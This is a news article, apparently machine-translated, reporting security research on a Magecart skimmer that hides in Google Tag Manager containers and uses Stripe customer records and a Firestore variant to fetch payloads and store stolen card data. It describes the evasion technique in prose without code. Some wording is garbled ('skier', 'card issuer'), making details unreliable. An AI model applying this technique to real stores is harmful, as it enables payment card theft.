Credit card theft campaign harasses Stripe to capture stolen payment information

Magecart’s new campaign uses Stripe’s API infrastructure to handle credit card uploads and data extracted from payment pages.

All malicious activity depends on Google Tag Manager and Stripe’s domains – googletagmanager.com and api.stripe.com – which are completely trusted by online stores.

A new malware family was discovered by researchers at ecommerce security firm Sansec, who discovered that the malicious code is loaded from the Google Tag Manager (GTM) container and executed on every page it loads.

“Both payloads and stolen cards go through api.stripe.com. Stores allow that domain by default, so the sender bypassed Content Security Policy rules and network filters that would have flagged traffic for an unknown domain,” Sansec said.

GTM is a management system that allows website owners to add and manage scripts used for analytics, ads, and tracking, without changing the site’s source code.

Stripe is a payment processing platform widely used by online retailers to accept credit cards, manage customer orders, and handle billing.

According to Sansec, the malicious code is embedded in legitimate-looking GTM containers, which run when a consumer reaches the checkout page, queuing Stripe’s API to retrieve a specific customer record, cus_TfFjAAZQNOYENR, this time.

From the metadata fields of the record, it reads JavaScript code that is compiled and executed using Function().

The card issuer targets Magento/Adobe Commerce payment pages and attempts to capture payment data (credit card number, expiration date, CVV code, customer name) and billing and email addresses, and phone number.

The stolen data is compiled into a single string, hashed using the XOR operation, and stored locally instead of being immediately flushed out.

Retrieving data is done by a separate system, which runs immediately after page load and every minute, by splitting the data bridge in half, creating a new Stripe customer object, and storing the stolen data in metadata fields.

Every stolen payment card becomes a fake customer record on the attacker’s Stripe account, turning Stripe into a backdoor for the stolen data.

Once the data is copied, the local file is erased to remove traces of the attack and prevent duplicate uploads.

Sansec also discovered a variant of the attack where Google Firestore, a cloud database service for data storage and real-time retrieval, was used instead of Stripe.

In that campaign version, the payload is returned to the named Firestore document tracking/captcha in a project called braintree-payment-app. The stolen data is stored in a separate key of the Storage area (_d_data_customer_).

Document and project names help the malware to blend in with legitimate payment and bot protection traffic.

The Stripe customer record containing the skier was reportedly created on December 24, 2025, suggesting the job may have been active since at least that date.

Customers can protect themselves from such risks by using one-time virtual cards with set limits.